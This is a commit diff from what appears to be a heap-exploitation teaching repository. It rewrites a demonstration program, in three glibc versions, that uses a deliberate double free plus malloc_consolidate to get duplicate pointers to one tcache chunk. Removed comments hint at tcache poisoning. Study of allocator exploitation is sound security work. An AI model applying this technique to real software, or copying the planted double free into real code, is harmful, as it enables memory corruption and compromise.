Skip to content

Commit db26e6a

Browse files
authored
Merge pull request #202 from k4lizen/fastcon
Cleanup fastbin_dup_consolidate and prepare it for glibc version 2.41
2 parents 0d0101b + 0d7a138 commit db26e6a

10 files changed

+300
-370
lines changed

glibc_2.27/fastbin_dup_consolidate.c

+30-37
Original file line numberDiff line numberDiff line change
@@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
2222
2323
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
2424
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25-
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
2626
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
2727
a double free to gain control of a tcache sized chunk.
28-
2928
*/
3029

31-
int main() {
32-
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33-
printf("It would also allow us to perform tcache poisoning.\n\n");
30+
#define CHUNK_SIZE 0x400
3431

35-
printf("Lets fill up the tcache to force fastbin usage...\n\n");
32+
int main() {
33+
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
34+
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
3635

3736
void *ptr[7];
3837

3938
for(int i = 0; i < 7; i++)
4039
ptr[i] = malloc(0x40);
41-
for(int i = 0; i < 7; i++)
42-
free(ptr[i]);
43-
44-
// void* ppoison = malloc(0x400);
45-
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46-
47-
void* p1 = calloc(1,0x40);
48-
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49-
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
5040

41+
void* p1 = malloc(0x40);
5142
printf("Allocate another chunk of the same size p1=%p \n", p1);
52-
printf("Freeing p1 will add it to the fastbin.\n\n");
53-
free(p1);
5443

55-
void* p3 = malloc(0x400);
44+
printf("Fill up the tcache...\n");
45+
for(int i = 0; i < 7; i++)
46+
free(ptr[i]);
5647

57-
// free(ppoison);
58-
// We can now free this chunk to put it in the tcache bin for the poison.
48+
printf("Now freeing p1 will add it to the fastbin.\n\n");
49+
free(p1);
5950

6051
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
6152
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62-
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
53+
printf("a tcache-sized chunk with chunk size 0x410 ");
54+
void* p2 = malloc(CHUNK_SIZE);
6355

64-
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65-
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
56+
printf("p2=%p.\n", p2);
6657

67-
assert(p1 == p3);
58+
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
59+
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
6860

69-
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70-
free(p1); // vulnerability
61+
assert(p1 == p2);
7162

72-
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73-
printf("We have thus achieved UAF on tcache!\n");
63+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
64+
free(p1); // vulnerability (double free)
65+
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
7466

75-
// *(long long*)p3 = target;
76-
// We can use the UAF here to perform tcache poison.
67+
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
7768

78-
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79-
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
80-
void *p4 = malloc(0x400);
69+
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
70+
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
71+
void *p3 = malloc(CHUNK_SIZE);
8172

82-
assert(p4 == p3);
73+
assert(p3 == p2);
8374

84-
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85-
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
75+
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
76+
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
8677
printf("We have achieved duplication!\n\n");
8778

8879
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89-
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
80+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
81+
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
82+
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
9083

9184
return 0;
9285
}

glibc_2.31/fastbin_dup_consolidate.c

+30-37
Original file line numberDiff line numberDiff line change
@@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
2222
2323
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
2424
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25-
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
2626
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
2727
a double free to gain control of a tcache sized chunk.
28-
2928
*/
3029

31-
int main() {
32-
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33-
printf("It would also allow us to perform tcache poisoning.\n\n");
30+
#define CHUNK_SIZE 0x400
3431

35-
printf("Lets fill up the tcache to force fastbin usage...\n\n");
32+
int main() {
33+
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
34+
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
3635

3736
void *ptr[7];
3837

3938
for(int i = 0; i < 7; i++)
4039
ptr[i] = malloc(0x40);
41-
for(int i = 0; i < 7; i++)
42-
free(ptr[i]);
43-
44-
// void* ppoison = malloc(0x400);
45-
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46-
47-
void* p1 = calloc(1,0x40);
48-
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49-
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
5040

41+
void* p1 = malloc(0x40);
5142
printf("Allocate another chunk of the same size p1=%p \n", p1);
52-
printf("Freeing p1 will add it to the fastbin.\n\n");
53-
free(p1);
5443

55-
void* p3 = malloc(0x400);
44+
printf("Fill up the tcache...\n");
45+
for(int i = 0; i < 7; i++)
46+
free(ptr[i]);
5647

57-
// free(ppoison);
58-
// We can now free this chunk to put it in the tcache bin for the poison.
48+
printf("Now freeing p1 will add it to the fastbin.\n\n");
49+
free(p1);
5950

6051
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
6152
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62-
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
53+
printf("a tcache-sized chunk with chunk size 0x410 ");
54+
void* p2 = malloc(CHUNK_SIZE);
6355

64-
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65-
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
56+
printf("p2=%p.\n", p2);
6657

67-
assert(p1 == p3);
58+
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
59+
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
6860

69-
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70-
free(p1); // vulnerability
61+
assert(p1 == p2);
7162

72-
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73-
printf("We have thus achieved UAF on tcache!\n");
63+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
64+
free(p1); // vulnerability (double free)
65+
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
7466

75-
// *(long long*)p3 = target;
76-
// We can use the UAF here to perform tcache poison.
67+
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
7768

78-
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79-
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
80-
void *p4 = malloc(0x400);
69+
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
70+
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
71+
void *p3 = malloc(CHUNK_SIZE);
8172

82-
assert(p4 == p3);
73+
assert(p3 == p2);
8374

84-
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85-
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
75+
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
76+
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
8677
printf("We have achieved duplication!\n\n");
8778

8879
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89-
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
80+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
81+
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
82+
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
9083

9184
return 0;
9285
}

glibc_2.32/fastbin_dup_consolidate.c

+30-37
Original file line numberDiff line numberDiff line change
@@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
2222
2323
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
2424
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25-
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
2626
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
2727
a double free to gain control of a tcache sized chunk.
28-
2928
*/
3029

31-
int main() {
32-
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33-
printf("It would also allow us to perform tcache poisoning if we had a heap leak.\n\n");
30+
#define CHUNK_SIZE 0x400
3431

35-
printf("Lets fill up the tcache to force fastbin usage...\n\n");
32+
int main() {
33+
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
34+
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
3635

3736
void *ptr[7];
3837

3938
for(int i = 0; i < 7; i++)
4039
ptr[i] = malloc(0x40);
41-
for(int i = 0; i < 7; i++)
42-
free(ptr[i]);
43-
44-
// void* ppoison = malloc(0x400);
45-
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46-
47-
void* p1 = calloc(1,0x40);
48-
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49-
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
5040

41+
void* p1 = malloc(0x40);
5142
printf("Allocate another chunk of the same size p1=%p \n", p1);
52-
printf("Freeing p1 will add it to the fastbin.\n\n");
53-
free(p1);
5443

55-
void* p3 = malloc(0x400);
44+
printf("Fill up the tcache...\n");
45+
for(int i = 0; i < 7; i++)
46+
free(ptr[i]);
5647

57-
// free(ppoison);
58-
// We can now free this chunk to put it in the tcache bin for the poison.
48+
printf("Now freeing p1 will add it to the fastbin.\n\n");
49+
free(p1);
5950

6051
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
6152
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62-
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
53+
printf("a tcache-sized chunk with chunk size 0x410 ");
54+
void* p2 = malloc(CHUNK_SIZE);
6355

64-
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65-
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
56+
printf("p2=%p.\n", p2);
6657

67-
assert(p1 == p3);
58+
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
59+
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
6860

69-
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70-
free(p1); // vulnerability
61+
assert(p1 == p2);
7162

72-
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73-
printf("We have thus achieved UAF on tcache!\n");
63+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
64+
free(p1); // vulnerability (double free)
65+
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
7466

75-
// *(long long*)p3 = target ^ (p3 >> 12);
76-
// We can use the UAF here to perform tcache poison.
67+
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
7768

78-
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79-
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
80-
void *p4 = malloc(0x400);
69+
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
70+
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
71+
void *p3 = malloc(CHUNK_SIZE);
8172

82-
assert(p4 == p3);
73+
assert(p3 == p2);
8374

84-
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85-
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
75+
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
76+
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
8677
printf("We have achieved duplication!\n\n");
8778

8879
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89-
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
80+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
81+
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
82+
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
9083

9184
return 0;
9285
}

0 commit comments

Comments
 (0)